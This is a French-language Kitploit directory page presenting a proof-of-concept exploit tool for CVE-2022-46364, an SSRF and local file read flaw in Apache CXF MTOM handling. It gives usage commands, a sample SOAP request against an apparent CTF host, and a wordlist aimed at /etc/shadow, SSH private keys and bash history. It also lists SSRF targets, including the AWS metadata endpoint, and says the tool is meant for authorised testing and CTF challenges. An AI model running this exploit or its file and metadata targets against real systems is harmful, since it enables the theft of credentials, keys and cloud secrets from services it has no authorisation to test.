Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
Outils/GitHubGitHub/0xmid00/cve-2022-46364-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebFuzzingTests d'Intrusion
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Auteur : 0xmid00
Vulnérabilité : SSRF / Lecture de fichier local via XOP:Include dans les requêtes MTOM
Affecté : Apache CXF < 3.5.5 et < 3.4.10


Quelle est la vulnérabilité ?

Apache CXF traite les messages MTOM (Message Transmission Optimization Mechanism) qui contiennent des éléments XOP:Include. L'attribut href de XOP:Include est censé référencer une pièce jointe dans le même message multipart MTOM.

Cependant, dans les versions vulnérables, CXF suit n'importe quelle URI fournie dans href, y compris :

  • file:///etc/passwd → lit les fichiers locaux (LFI)
  • http://127.0.0.1:PORT/ → sonde les services internes (SSRF)

Un attaquant n'a besoin que d'envoyer une requête SOAP avec au moins un paramètre de n'importe quel type pour déclencher cela.


Prérequis

root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 exploit.py -r request.txt [options]

Arguments


Format du fichier de requête

Enregistrez votre requête HTTP brute dans un fichier .txt exactement comme capturé (par exemple depuis Burp) :

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

L'exploit convertit automatiquement la requête au format MTOM — vous n'avez pas besoin de le faire manuellement.


Exemples

Mode 1 — Détecter automatiquement tous les champs injectables

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

Tente d'injecter file:///etc/passwd dans chaque élément XML feuille et rapporte ceux qui renvoient le contenu du fichier.


Mode 1 — Tester un champ spécifique

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

Mode 2 — Fuzzer des fichiers (détecter d'abord le champ automatiquement)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

Exécute d'abord le Mode 1 pour trouver le champ injectable, puis fuzze tous les chemins de la wordlist via ce champ.


Mode 2 — Fuzzer des fichiers avec un champ connu (le plus rapide)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Ignore la détection de champ et passe directement au fuzzing.


Lecture d'un seul fichier

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Exemple de wordlist (lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

Vous pouvez également utiliser SecLists :

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Comment ça fonctionne

  1. Analyse le fichier de requête HTTP brute
  2. Localise le champ XML cible dans le corps SOAP
  3. Remplace son contenu par <xop:Include href="file:///..."/>
  4. Enveloppe la requête au format multipart MTOM (nécessaire pour activer le processeur XOP de CXF)
  5. Envoie la requête — CXF récupère le fichier et renvoie son contenu encodé en base64
  6. Décode et affiche le résultat

Mode SSRF

Pour sonder les services HTTP internes au lieu de lire des fichiers :

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

Ou modifiez la valeur --read avec n'importe quelle URL interne :

  • --read http://169.254.169.254/latest/meta-data/ (métadonnées AWS)
  • --read http://127.0.0.1:3306/ (MySQL)
  • --read http://127.0.0.1:22/ (bannière SSH)

Avertissement

Cet outil est destiné uniquement aux tests de pénétration autorisés et aux défis CTF. L'auteur n'est pas responsable de toute utilisation abusive.

Télécharger l’outil
ArgumentDescription
-r, --requestChemin vers le fichier de requête HTTP brute (obligatoire)
--mode 1Détection automatique des champs XML injectables en utilisant /etc/passwd
--mode 2Fuzz une wordlist de chemins de fichiers
--field NAMESpécifie le champ XML à injecter (ignore la détection automatique)
--wordlist PATHChemin vers la wordlist de fichiers pour le Mode 2
--read PATHLit un seul fichier spécifique
-v, --verboseAffiche les informations détaillées de la requête